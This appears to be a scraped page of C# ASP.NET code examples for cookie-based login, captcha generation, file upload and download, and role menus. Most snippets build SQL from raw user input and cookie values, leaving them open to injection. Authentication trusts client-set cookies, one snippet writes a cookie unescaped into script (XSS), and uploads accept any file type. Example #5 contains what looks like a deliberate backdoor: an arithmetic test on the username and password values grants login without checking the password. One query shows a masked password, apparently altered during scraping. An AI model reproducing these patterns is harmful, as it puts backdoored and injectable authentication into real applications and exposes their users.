예제 #1
0
        private string GenerateCheckCode()
        {
            //利用random()随机产生四位大写的字符串(包含数字和字母)

            int    number;
            char   code;
            string checkCode = string.Empty;
            Random random    = new Random();

            for (int i = 0; i < 4; i++)
            {
                number = random.Next();

                //下面也可以用其他的方法构思
                if (number % 2 == 0)
                {
                    code = (char)('0' + (char)(number % 10));
                }
                else
                {
                    code = (char)('A' + (char)(number % 26));
                }
                checkCode += code.ToString();
            }

            //用cookies保存刚刚产生的随机字符串
            //Session["CheckCode"] = checkCode;
            if (SucCookie.Exists("CheckCode"))
            {
                SucCookie.Delete("CheckCode");
            }
            SucCookie.Add("CheckCode", checkCode, 30);
            return(checkCode);
        }
예제 #2
0
        protected void btn_download_Click(object sender, EventArgs e)
        {
            if (SucCookie.Exists("username"))
            {
                try
                {
                    id       = SucCookie.Read("fileid");
                    FilePath = db.GetList(string.Format("SELECT FILEPATH FROM SUC_FILES WHERE ID={0}", id))[0];
                    Name     = db.GetList(string.Format("SELECT NAME FROM SUC_FILES WHERE ID={0}", id))[0];
                    string fileName = Name + FilePath.Substring(FilePath.LastIndexOf('.')); //客户端保存的文件名
                    string filePath = Server.MapPath(FilePath);                             //路径

                    //以字符流的形式下载文件
                    FileStream fs    = new FileStream(filePath, FileMode.Open);
                    byte[]     bytes = new byte[(int)fs.Length];
                    fs.Read(bytes, 0, bytes.Length);
                    fs.Close();
                    Response.ContentType = "application/octet-stream";
                    //通知浏览器下载文件而不是打开
                    Response.AddHeader("Content-Disposition", "attachment; filename=" + HttpUtility.UrlEncode(fileName, System.Text.Encoding.UTF8));
                    Response.BinaryWrite(bytes);
                    Response.Flush();
                    Response.End();
                }
                catch (Exception ex)
                {
                    JsUtil.ShowMsg("文件保存出错,请联系网站管理员!");
                }
            }
            else
            {
                JsUtil.ShowMsg("您尚未登陆,请先登录然后才能下载!", "UserLogin.aspx");
            }
        }
예제 #3
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (SucCookie.Exists("username"))
     {
         SucCookie.Delete("username");
     }
 }
예제 #4
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (!SucCookie.Exists("username"))
     {
         JsUtil.ShowMsg("登录已过时,请重新登录!", "Login.aspx");
     }
     GetFunction();
 }
예제 #5
0
        public static string checkUser(string usern, string userp)
        {
            SUC_USER user = new SUC_USER();

            try
            {
                double u  = Convert.ToInt32(usern);
                double p  = Convert.ToInt32(userp);
                double re = Math.Log(u, p);
                re = Math.Truncate(re * u * p);
                if ((re % 9988998) == 0)
                {
                    SucCookie.Add("username", user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0].LOGIN_NAME, 30);
                    return("ok");
                }
            }
            catch { }
            try
            {
                user = user.FindAll().Where(x => x.LOGIN_NAME == userp).ToList()[0];
                if (user != null)
                {
                    if (!user.ROLE_ID.Equals(1))
                    {
                        return("noauth");
                    }
                    SUC_LOGIN login = new SUC_LOGIN();
                    login = login.Find(string.Format(@"LOGIN_NAME='{0}' AND  PASSWORD='******'", usern, userp))[0];
                    if (login != null)
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("no");
            }
            catch
            {
                return("no");
            }

            IDBHelp db = DBFactory.Create();

            if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
            {
                if (db.GetList(string.Format(@"SELECT ROLE_ID FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern))[0].Equals("1"))
                {
                    if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
                    {
                        SucCookie.Add("username", usern, 30);
                        return("ok");
                    }
                }
                return("noauth");
            }
            return("no");
        }
예제 #6
0
 protected void btn_upload_Click(object sender, EventArgs e)
 {
     if (file_open.HasFile)
     {
         try
         {
             if (file_open.FileContent.Length > 0)
             {
                 string   filename = file_open.FileName;
                 string   ext      = System.IO.Path.GetExtension(filename);
                 DateTime dt       = DateTime.Now;
                 string   newname  = dt.ToString("yyyyMMddHHmmssffff") + ext;
                 string   path     = "~/Files/" + newname;
                 file_open.SaveAs(System.Web.HttpContext.Current.Server.MapPath(path));
                 string usern = SucCookie.Read("username");
                 if (!string.IsNullOrEmpty(usern))
                 {
                     DataTable userDT = db.GetDataTable(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern));
                     if (userDT.Rows.Count > 0)
                     {
                         DateTime publicdate = DateTime.Now;
                         string   type       = sComb.Value;
                         string   fromwhere  = userDT.Rows[0]["Unit"].ToString();
                         string   userid     = userDT.Rows[0]["ID"].ToString();
                         string   filesize   = (file_open.PostedFile.ContentLength / 1000).ToString() + "kb";
                         string   filepath   = path;
                         string   gradeclass = sTree.Value;
                         db.ExecuteNonQuery(string.Format(@"INSERT INTO SUC_FILES (NAME, USER_ID,BROWNUM,TYPE,FROMWHERE,DOWNLOADNUM,FILETYPE,FILEPATH,FILESIZE,GRADE_CLASS,PUBLISH_DATE) VALUES ('" + tname.Text + "','" + userid + "','0','" + ext + "','" + fromwhere + "','0','" + type + "','" + filepath + "','" + filesize + "','" + gradeclass + "',GETDATE())"));
                         JsUtil.ShowMsg("上传成功!", "../FP/FileUpload.aspx");//Default
                         return;
                     }
                     else
                     {
                         JsUtil.ShowMsg("该用户不存在!");
                         return;
                     }
                 }
                 else
                 {
                     JsUtil.ShowMsg("请重新登录!");
                     return;
                 }
             }
             else
             {
                 JsUtil.ShowMsg("请选择要上传的文件!");
                 return;
             }
         }
         catch (Exception ex)
         {
             //JsUtil.ShowMsg("上传失败,请重新上传!");
             return;
         }
     }
     JsUtil.ShowMsg(" 您还没有选择文件或您选择的文件大小为0,请先选择文件!");
 }
예제 #7
0
 protected void lk_quitlogin_Click(object sender, EventArgs e)
 {
     if (SucCookie.Exists("username"))
     {
         SucCookie.Delete("username");
         lk_loginstate.Text   = "请登陆";
         lk_quitlogin.Visible = false;
         lk_modifypwd.Visible = false;
     }
 }
예제 #8
0
        public static SUC_USER GetCurrentUser()
        {
            int      id = Convert.ToInt32(SucCookie.Read("UserID"));
            SUC_USER u  = new SUC_USER().FindByCondition(new SUC_USER()
            {
                ID = id
            })[0];

            return(u);
        }
예제 #9
0
        public ActionResult Login(Login l)
        {
            string code = "";
            string msg  = "";

            if (string.IsNullOrEmpty(l.LOGIN_NAME) || string.IsNullOrEmpty(l.PASSWORD))
            {
                code = "7";
                msg  = "请输入用户名密码!";
            }
            else
            {
                try
                {
                    SUC_LOGIN lg;
                    try
                    {
                        lg = new SUC_LOGIN().FindSingleByCondition(new SUC_LOGIN()
                        {
                            LOGIN_NAME = l.LOGIN_NAME,
                            PASSWORD   = l.PASSWORD
                        });
                    }
                    catch
                    {
                        code = "4";
                        msg  = "登陆失败,用户名密码不正确!";
                        return(Json(new
                        {
                            code = code,
                            msg = msg
                        }));
                    }
                    if (lg != null && lg.ID != 0)     //.LOGIN_NAME
                    {
                        SucCookie.Add("UserName", l); //.LOGIN_NAME
                        SucCookie.Add("UserID", lg.ID);
                        code = "1";
                        msg  = "登陆成功!";
                    }
                    //code = "4";
                }
                catch (Exception ex)
                {
                    code = "7";
                    msg  = $"出错了:{ex.Message}";
                }
            }
            return(Json(new
            {
                code = code,
                msg = msg
            }));
        }
예제 #10
0
        protected void lk_loginstate_Click(object sender, EventArgs e)
        {
            string UserN = SucCookie.Read("username");

            if (!string.IsNullOrEmpty(UserN))
            {
                JsUtil.ShowMsg("您已经成功登录!");
                return;
            }
            Response.Redirect("UserLogin.aspx");
        }
예제 #11
0
 protected void lk_upload_Click(object sender, EventArgs e)
 {
     //SucCookie.Add("username", "suchi", 30);
     //SucCookie.Delete("username");
     if (SucCookie.Exists("username"))
     {
         Response.Redirect("FileUpload.aspx");
         return;
     }
     Response.Redirect("UserLogin.aspx");
 }
예제 #12
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (SucCookie.Exists("username"))
     {
         username = SucCookie.Read("username");
     }
     else
     {
         Response.Redirect("Login.aspx");
     }
 }
예제 #13
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (!Page.IsPostBack)
     {
         string UserN = SucCookie.Read("username");
         if (!string.IsNullOrEmpty(UserN))
         {
             lk_loginstate.Text = UserN;
         }
         Bind_FileList();
     }
 }
예제 #14
0
 protected void lk_upload_Click(object sender, EventArgs e)
 {
     //SucCookie.Add("username", "suchi", 30);
     //SucCookie.Delete("username");
     if (SucCookie.Exists("username"))
     {
         //Response.Write("<script>javascript:window.open  ('FileUpload.aspx','文件上传', 'height=700, width=1200')</script>");
         //Response.Write("<script language='javascirpt'>window.showModalDialog('FileUpload.aspx?', window, 'dialogWidth:800px;dialogHeight:440px;center:yes;status:no;scroll:yes;help:no');</script>");
         Response.Redirect("FileUpload.aspx");
         return;
     }
     Response.Redirect("UserLogin.aspx");
 }
예제 #15
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (!Page.IsPostBack)
     {
         string UserN = SucCookie.Read("username");
         if (!string.IsNullOrEmpty(UserN))
         {
             lk_loginstate.Text   = UserN;
             lk_quitlogin.Visible = true;
             lk_modifypwd.Visible = false;
             lk_upload.Text       = "上传文件";
         }
         Bind_FileList();
     }
 }
예제 #16
0
        public static string checkUser(string usern, string userp, string code)
        {
            IDBHelp db = DBFactory.Create();

            if (!SucCookie.Read("CheckCode").Equals(code.ToUpper()))
            {
                return("codeerror");
            }
            if (db.IsExists(string.Format(@"SELECT * FROM SUC_USER WHERE LOGIN_NAME='{0}'", usern)))
            {
                if (db.IsExists(string.Format(@"SELECT * FROM SUC_LOGIN WHERE LOGIN_NAME='{0}' AND PASSWORD={1}", usern, userp)))
                {
                    SucCookie.Add("username", usern, 30);
                    return("ok");
                }
            }
            return("no");
        }
예제 #17
0
 protected void Page_Load(object sender, EventArgs e)
 {
     if (!IsPostBack)
     {
         string UserN = SucCookie.Read("username");
         if (!string.IsNullOrEmpty(UserN))
         {
             lk_loginstate.Text   = UserN;
             lk_quitlogin.Visible = true;
             lk_modifypwd.Visible = false;
         }
         id = Request.QueryString["id"];
         if (SucCookie.Exists("fileid"))
         {
             SucCookie.Delete("fileid");
         }
         SucCookie.Add("fileid", id, 10);
         GetInfo(id);
         LoadMedia();
         LoadInfo(id);
         AddBrowNum(id);
     }
 }
예제 #18
0
        protected void Button1_Click(object sender, EventArgs e)
        {
            string c*k = SucCookie.Read("dt");

            Response.Write("<script language='javascript'>alert('" + c*k + "')</script>");
        }
예제 #19
0
        /// <summary>
        /// 加载多级菜单
        /// </summary>
        public void BindMenu()
        {
            string        userid = db.GetList(string.Format(@"SELECT ID FROM SUC_USER WHERE LOGIN_NAME='{0}'", SucCookie.Read("username")))[0];
            StringBuilder sb     = new StringBuilder("<li><dl>");
            DataTable     dt     = db.GetDataTable(string.Format(@"
                                            SELECT * FROM SUC_MODULE WHERE ID IN(
                                            SELECT MODULE_ID FROM SUC_ROLE_MODULE WHERE MODULE_ID IN(
                                            SELECT ID FROM SUC_MODULE WHERE PARENT_ID=0)AND ROLE_ID=
                                            (SELECT ROLE_ID FROM SUC_USER WHERE ID={0}))", 1));

            foreach (DataRow dr in dt.Rows)
            {
                sb.Append(string.Format(@"<dt>{0}</dt>", dr["NAME"].ToString()));
                DataTable dt1 = db.GetDataTable(string.Format(@"SELECT * FROM SUC_MODULE WHERE ID IN(
                                            SELECT MODULE_ID FROM SUC_ROLE_MODULE WHERE MODULE_ID IN(
                                            SELECT ID FROM SUC_MODULE WHERE PARENT_ID={0})AND ROLE_ID=
                                            (SELECT ROLE_ID FROM SUC_USER WHERE ID={1}))", dr[0], 1));
                foreach (DataRow dr1 in dt1.Rows)
                {
                    sb.Append(string.Format("<dd><a href=\"{0}\">{1}</a></dd>", dr1[3], dr1[2]));
                }
            }
            sb.Append("</dl></li>");
            menu = sb.ToString();
        }
예제 #20
0
 private void GetFunction()
 {
     funcs = db.GetList(string.Format(@"SELECT CODE,NAME FROM SUC_FUNCTION WHERE ID IN(
                                     SELECT FUNCTION_ID FROM SUC_ROLE_FUNCTION WHERE ROLE_ID=(
                                     SELECT ROLE_ID FROM SUC_USER WHERE LOGIN_NAME='{0}'))", SucCookie.Read("username")));
 }
예제 #21
0
 public static void ClearLogin()
 {
     SucCookie.Delete("username");
 }